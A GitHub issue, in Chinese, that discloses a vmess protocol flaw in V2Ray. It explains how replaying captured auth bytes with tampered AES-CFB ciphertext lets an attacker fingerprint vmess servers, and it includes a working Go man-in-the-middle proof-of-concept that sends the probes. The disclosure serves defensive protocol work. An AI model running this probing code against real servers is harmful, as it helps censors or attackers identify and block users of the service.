Skip to content

vmess协议设计和实现缺陷可导致服务器遭到主动探测特征识别(附PoC) #2523

@p4gefau1t

Description

@p4gefau1t

Update: 我们构造出了更具杀伤性的PoC,仅需16次探测即可准确判定vmess服务,误报可能性几乎为0,校验的缓解措施均无效。唯一的解决方案是禁用vmess或者重新设计协议。我们决定提高issue的严重性等级。

Update:v4.23.4及以后已经采取随机读取多个字节的方式阻止P的侧信道泄漏,目前下面的PoC(16次探测)以及概率探测(暴力发包探测)的PoC已经失效,无法准确探测vmess服务。但是,由于这是协议设计层面的问题,彻底解决问题需要引入AEAD等无法向下兼容的设计。好消息是,这一缓解可以为我们讨论制订新协议争取非常多的时间。vmess+tcp的组合仍然存在一定风险,不建议使用。


先说结论:开启了tcp+vmess的服务端,在和客户端进行通讯时,攻击者可以通过重放攻击的方式准确判定是否为vmess服务。

这个缺陷的利用基于重放攻击和密文填充攻击,需要以下条件(经过讨论,结合之前ss遭到的重放攻击,我们认为对于GFW来说,此条件并不苛刻):

  1. 攻击者可以进行中间人攻击,捕获vmess的TCP流前16 + 38字节。

  2. 攻击者可以在30秒内据此发送16个探测包

目前的缓解方案均可以被绕过,唯一解决方案是修改协议实现 。

个人认为,最好的解决方案是采用gcm等具有认证能力的aead加密模式对指令部分进行加密,而不是cfb。这和现有vmess设计冲突且无法向下兼容,可能需要重新设计vmess协议。

mkcp+vmess和tls+vmess等底层传输不使用tcp的组合不受此问题直接影响,但有可能收到波及。

下面是分析和PoC


鉴于近期vmess协议遭到封锁的情况较为严重,因此研究了一下vmess的协议设计和实现,发现服务端一个实现缺陷导致的特征,可以利用主动探测,区分vmess服务与其他服务。

vmess的协议的设计和实现缺陷

这是vmess的客户端请求格式。

16 字节 X 字节 余下部分
认证信息 指令部分 数据部分

前16字节为认证信息,内容为和时间、用户ID相关的散列值。根据协议设计,每个16字节的认证信息auth的有效期只有30秒。

问题出在指令部分。指令部分使用了没有认证能力的aes-cfb方式,因此攻击者可以篡改其中内容,而仍然能被服务器接受。

1 字节 16 字节 16 字节 1 字节 1 字节 4 位 4 位 1 字节 1 字节 2 字节 1 字节 N 字节 P 字节 4 字节
版本号 Ver 数据加密 IV 数据加密 Key 响应认证 V 选项 Opt 余量 P 加密方式 Sec 保留 指令 Cmd 端口 Port 地址类型 T 地址 A 随机值 校验 F

我们对照代码来看,v2ray服务端的vmess解析代码如下:

func (s *ServerSession) DecodeRequestHeader(reader io.Reader) (*protocol.RequestHeader, error) {
buffer := buf.New()
defer buffer.Release()
if _, err := buffer.ReadFullFrom(reader, protocol.IDBytesLen); err != nil {
return nil, newError("failed to read request header").Base(err)
}
user, timestamp, valid := s.userValidator.Get(buffer.Bytes())
if !valid {
return nil, newError("invalid user")
}
iv := hashTimestamp(md5.New(), timestamp)
vmessAccount := user.Account.(*vmess.MemoryAccount)
aesStream := crypto.NewAesDecryptionStream(vmessAccount.ID.CmdKey(), iv[:])
decryptor := crypto.NewCryptionReader(aesStream, reader)
buffer.Clear()
if _, err := buffer.ReadFullFrom(decryptor, 38); err != nil {
return nil, newError("failed to read request header").Base(err)
}
request := &protocol.RequestHeader{
User: user,
Version: buffer.Byte(0),
}
copy(s.requestBodyIV[:], buffer.BytesRange(1, 17)) // 16 bytes
copy(s.requestBodyKey[:], buffer.BytesRange(17, 33)) // 16 bytes
var sid sessionId
copy(sid.user[:], vmessAccount.ID.Bytes())
sid.key = s.requestBodyKey
sid.nonce = s.requestBodyIV
if !s.sessionHistory.addIfNotExits(sid) {
return nil, newError("duplicated session id, possibly under replay attack")
}
s.responseHeader = buffer.Byte(33) // 1 byte
request.Option = bitmask.Byte(buffer.Byte(34)) // 1 byte
padingLen := int(buffer.Byte(35) >> 4)
request.Security = parseSecurityType(buffer.Byte(35) & 0x0F)
// 1 bytes reserved
request.Command = protocol.RequestCommand(buffer.Byte(37))
switch request.Command {
case protocol.RequestCommandMux:
request.Address = net.DomainAddress("v1.mux.cool")
request.Port = 0
case protocol.RequestCommandTCP, protocol.RequestCommandUDP:
if addr, port, err := addrParser.ReadAddressPort(buffer, decryptor); err == nil {
request.Address = addr
request.Port = port
}
}
if padingLen > 0 {
if _, err := buffer.ReadFullFrom(decryptor, int32(padingLen)); err != nil {
return nil, newError("failed to read padding").Base(err)
}
}
if _, err := buffer.ReadFullFrom(decryptor, 4); err != nil {
return nil, newError("failed to read checksum").Base(err)
}
fnv1a := fnv.New32a()
common.Must2(fnv1a.Write(buffer.BytesTo(-4)))
actualHash := fnv1a.Sum32()
expectedHash := binary.BigEndian.Uint32(buffer.BytesFrom(-4))
if actualHash != expectedHash {
return nil, newError("invalid auth")
}
if request.Address == nil {
return nil, newError("invalid remote address")
}
if request.Security == protocol.SecurityType_UNKNOWN || request.Security == protocol.SecurityType_AUTO {
return nil, newError("unknown security type: ", request.Security)
}
return request, nil
}

可以看到,前16字节的认证信息可以被重复使用,并且只要通过认证,执行流即可进行到140行,初始化aes密钥流。接着在144行处,服务端在没有经过任何认证的情况下,读入38字节的密文,并使用aes-cfb进行解密,在没有进行任何校验的情况下,将其中版本号,余量P,加密方式等信息,直接填入结构体中。

这里问题已经很明显了,攻击者只需要得知16字节的认证信息,就可以在30秒内反复修改这38字节的信息进行反复的重放攻击/密文填充攻击。

aes本身可以抵抗已知明文攻击,因此安全性方面基本没有问题。出现问题的是余量P。我猜想设计者应该是为了避免包的长度特征而引入这个字段,但是读入余量的方式出现了问题:

此处代码实现,在没有校验余量P、加密方式Sec、版本号Ver、指令 Cmd、地址类型T、地址A的情况下,将P直接代入ReadFullFrom中读取P字节(182行)。注意,这里P的范围是2^4=16字节以内。

s.responseHeader = buffer.Byte(33) // 1 byte
request.Option = bitmask.Byte(buffer.Byte(34)) // 1 byte
padingLen := int(buffer.Byte(35) >> 4)
request.Security = parseSecurityType(buffer.Byte(35) & 0x0F)
// 1 bytes reserved
request.Command = protocol.RequestCommand(buffer.Byte(37))
switch request.Command {
case protocol.RequestCommandMux:
request.Address = net.DomainAddress("v1.mux.cool")
request.Port = 0
case protocol.RequestCommandTCP, protocol.RequestCommandUDP:
if addr, port, err := addrParser.ReadAddressPort(buffer, decryptor); err == nil {
request.Address = addr
request.Port = port
}
}
if padingLen > 0 {
if _, err := buffer.ReadFullFrom(decryptor, int32(padingLen)); err != nil {
return nil, newError("failed to read padding").Base(err)
}
}
if _, err := buffer.ReadFullFrom(decryptor, 4); err != nil {
return nil, newError("failed to read checksum").Base(err)
}
fnv1a := fnv.New32a()
common.Must2(fnv1a.Write(buffer.BytesTo(-4)))
actualHash := fnv1a.Sum32()
expectedHash := binary.BigEndian.Uint32(buffer.BytesFrom(-4))
if actualHash != expectedHash {
return nil, newError("invalid auth")
}

读取P+4字节后,v2ray才会对前面读入的内容进行校验,判断命令部分是否合法。如果不合法,断开连接。

缺陷的利用

Update:这个更强的攻击思路来自@studentmain

我们假定攻击者已经捕获前16 + 38字节。如何判定该服务是否为vmess呢?

下面是一种攻击载荷构造方法,我们构造这样的流

16 字节 38 字节 M字节
认证信息 恶意修改的指令部分 探测长度

恶意修改的指令部分:

1 字节 16 字节 16 字节 1 字节 1 字节 4 位 4 位 1 字节 1 字节
版本号 Ver 数据加密 IV 数据加密 Key 响应认证 V 选项 Opt 余量 P 加密方式 Sec 保留 指令 Cmd

方法很简单,我们让i从0-16开始枚举,构造探测载荷。Key的最后一个字节赋值为i,用以绕过v2ray防护。P也赋值为i,用以遍历其明文空间。发送了16+38字节后,尝试还能发送几个字节后连接被断开。发送成功的字节数记做M。

发送载荷,累计16次,记录测得的所有M的值。如果M的最大值和最小值差值为16,并且无重复,该服务为vmess服务。否则不是vmess服务。这个检测方式不会漏报,也几乎不会误报。

原理很简单:

  1. 由于攻击者拥有前16字节的验证信息,因此可以通过服务端校验。

  2. 攻击者修改了key绕过基于nonce的防重放检测。并且,由于修改的是key最后一个字节,cfb加密模式中,由于是同一块的修改,错误不会扩散到P。

  3. 攻击者仅修改并枚举P,遍历所有密文空间,解密后的P同样遍历明文空间。也就是说,从0-16的枚举,将得到十六个不同的P值。

  4. 服务端读入接下来的地址后,开始期待客户端发送P字节的余量,以及最后4个字节的校验码。于是接下来就会读入P+4个字节,并因为校验和不正确,连接被断开。我们因此可以测得M的值。M的实际值为 目标地址长度+P+4

下面是一个PoC,使用go实现,比较粗糙,见谅:

package main

import (
	"flag"
	"fmt"
	"io"
	"net"
	"sync"
	"time"
)

var listenAddr = flag.String("from", "127.0.0.1:4444", "listen address")
var targetAddr = flag.String("to", "127.0.0.1:4445", "target address")
var multiPass = flag.Bool("multi-pass", false, "test multiple connections")

func mitm(client net.Conn) {
	original := [16 + 38]byte{}
	client.SetReadDeadline(time.Now().Add(time.Second * 5))
	_, err := io.ReadFull(client, original[:])
	if err != nil {
		fmt.Println(err)
		return
	}
	client.SetReadDeadline(time.Time{})
	fmt.Println("auth + command", original)
	isVmess := true
	wg := sync.WaitGroup{}
	wg.Add(0xf + 1)
	minP := 9999
	maxP := -1
	for i := 0; i <= 0xf; i++ {
		weAreFucked := func(encryptedP int) {
			defer wg.Done()

			conn, err := net.Dial("tcp", *targetAddr)
			if err != nil {
				fmt.Println(err)
				isVmess = false
				return
			}
			defer conn.Close()

			attack := [16 + 38]byte{}
			copy(attack[:], original[:])

			attack[16+32] = byte(encryptedP) //last byte of key

			tmp := attack[16+35]
			attack[16+35] = (byte(encryptedP) << 4) | (tmp & 0xf) //guess paddingLen
			n, err := conn.Write(attack[:])
			if err != nil || n != 16+38 {
				fmt.Println(err)
				isVmess = false
				return
			}
			for j := 0; j < 9999; j++ {
				//disable BufferReader's buffering
				time.Sleep(time.Millisecond * 10)

				zero := [1]byte{}
				_, err := conn.Write(zero[:])
				if err != nil {
					if j-1 < minP {
						minP = j - 1
					}
					if j-1 > maxP {
						maxP = j - 1
					}
					fmt.Println("M =", j-1)
					return
				}
			}
		}
		go weAreFucked(i)
	}
	wg.Wait()
	if isVmess && (maxP-minP <= 16) {
		fmt.Println("This is a vmess server")
	} else {
		fmt.Println("This is not a vmess server")
	}
}

func main() {
	flag.Parse()
	l, err := net.Listen("tcp", *listenAddr)
	if err != nil {
		fmt.Println(err)
		return
	}
	for {
		conn, _ := l.Accept()
		conn.(*net.TCPConn).SetNoDelay(true)
		fmt.Println(" ==> Client from:", conn.RemoteAddr().String())
		mitm(conn)

		if !*multiPass {
			break
		}
	}
}

这段PoC使用方法是,开启两个v2ray实例,客户端使用vmess连接本地4444端口,服务端vmess监听本地4445端口。客户端开启1080端口接受socks流量。

使用浏览器向客户端1080发送socks请求,客户端向4444端口发送vmess请求时,PoC模拟中间人攻击,获得16字节的有效认证信息。并且以此向4445端口的服务器发送恶意构造的包,测量N的值。

需要注意的是测量M时,可以使用每个字节Sleep后再发送的方式,使得服务端的BufferReader不工作,以此我们可以测量得到准确的M。

你可以通过--from --to 参数来指定想要监听的地址和想要测试的服务器。可以将--to换成其他服务的地址,如ssh,http,https进行检验。对于vmess服务,将输出This is a vmess server。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions